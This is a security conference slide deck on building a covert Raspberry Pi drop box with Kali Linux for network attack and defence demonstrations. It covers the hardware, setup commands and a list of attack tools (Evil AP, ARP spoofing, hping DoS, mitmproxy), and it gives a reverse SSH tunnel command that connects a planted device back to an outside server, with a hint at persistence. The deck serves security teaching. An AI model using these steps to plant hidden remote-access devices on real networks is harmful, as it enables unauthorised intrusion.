Stealth Attack from the Produce Aisle

Keith Benedict & Todd Dow
Introductions

Keith Benedict

- Innovation & Security Specialist
- 30+ years IT experience
- MC* designations
- @mehtryx

Todd Dow

- Team Lead, IT Security
- 15+ years IT experience
- CISA, PMP
- @toddhdow
What are we going to talk about?

- What options are available?
- How to build a working device?
- Hardware add-ons
- Commonly available software tools
- Attack and defence scenarios
First: What are the scenarios?

Think about this, where exactly can you see these devices being used?

Silent, portable, 4x2x1 footprint, inexpensive and remotely accessible
Scenarios

Targeted PC, either directly connected or MITM
Scenarios

Device plugged into LAN
Scenarios

Operating without wires, Evil AP or more
Scenarios

Many more options exist

USB Ladybug Heating Slipper

Stealth Attack - @toddhdow @mehtryx
How to build a working device

Step 1 - determine the hardware you will use
Stealth Attack - @toddhdow @mehtryx
What's in the box?

- CanaKit Raspberry Pi 2 complete starter kit, with:
  - Raspberry Pi 2
  - Wifi
  - 8 GB SD card
  - Case
  - Power supply
  - HDMI cable
- SanDisk 32 GB Ultra Class 10 Micro SDHC card
- Alfa AWUS036NH 2000mW 2W 802.11 g/n High Gain USB Wireless G/N Long-Range WiFi Network Adapter w/ 5dBi Screw-On swivel rubber antenna and pane.

Stealth Attack - @toddhdow @mehtryx
Assembling your Pi

Stealth Attack - @toddhdow @mehtryx
Installing Kali on microSD

1. Download Kali Linux
   
   https://www.offensive-security.com/

2. Verify the download
   
   > shasum kali<insert full filename here>

3. Insert microSD card and determine device path
   
   > diskutil list

4. Unmount the disk
   
   > diskutil unmount /dev/disk1

5. Use dd to image the Kali file
   
   > dd if=kali-2.0.1-rpi2.img of=/dev/disk1 bs=1m (control+T to see progress of image creation)
1. Eject the microSD card

2. Insert disk into Raspberry Pi 2, plug in peripherals and power it up. Voila!

3. Connect via ssh: ssh root@192.168.1.100 (substitute your machine's IP address here)

You should now have a command line connection to Kali on your Raspberry Pi 2.
Change SSH host keys:

> rm /etc/ssh/ssh_host_*
> dpkg-reconfigure openssh-server
> service ssh restart

Time setup:

> dpkg-reconfigure tzdata

Set up VNC Access:

> apt-get update
> apt-get dist-upgrade -y
> apt-get install x11vnc -y
> startx &
> x11vnc & (in a separate terminal window)

Set up Remote Access

> apt-get install xrdp -y
> chkconfig --levels 35 xrdp on
> service xrdp start
> service xrdp stop (when finished)

Regular maintenance:

> apt-get upgrade
> apt-get update
> apt-get dist-upgrade
> cat /etc/issue
>uname -a
Monitor Mode?

Chipsets matter in order to support putting a device into monitor mode.

> iwconfig
> ifconfig wlan0 up

Problems?

- hardware not detected
- wpa support
- rfkill
Commonly Available Software Tools

Tools include:

- Aircrack or EvilAP
- Airbase
- Arp spoofing
- hping DoS
- mitmproxy
- Snort
- arpwatch
- ossec
- log analysis
- network monitoring
Scenarios Revisited

How to make a reverse ssh proxy

Requirements:

• Public accessible ssh server (Static IP)
• Raspberry Pi configured to accept ssh connections
• Certificate setup sor ssh authentication

Making the Connection from the Pi:
> ssh -N -R 2222:localhost:22 serverUser@25.25.25.25

From server you can now do:
> ssh -l piUser -p 2222 localhost

Persistence is just a small shell script away.

Problems?
Advanced Wi-Fi Attacks Using Commodity Hardware

• Mathy Vanhoef: vanhoefm/modwifi

• "Low layer attacks such as reactive and constant jamming using commodity devices" such as AWUS036NHA (sound familiar?)

Attacks include:

• Jamming

• Selective jamming

• Channel-based MITM

• Attack TKIP when used as a group cipher
Power Brick by Richee @ TunnelUp
http://www.tunnelsup.com/raspberry-pi-phonning-home-using-a-reverse-remote-ssh-tunnel

The Hacks of Mr. Robot: How to Build a Hacking Raspberry Pi
http://null-byte.wonderhowto.com/how-to/hacks-mr-robot-build-hacking-raspberry-pi-0163143/

Working with a Raspberry Pi for network attacks
http://jesselauwers.github.io/Raspberry-Pi-Kali-MITM/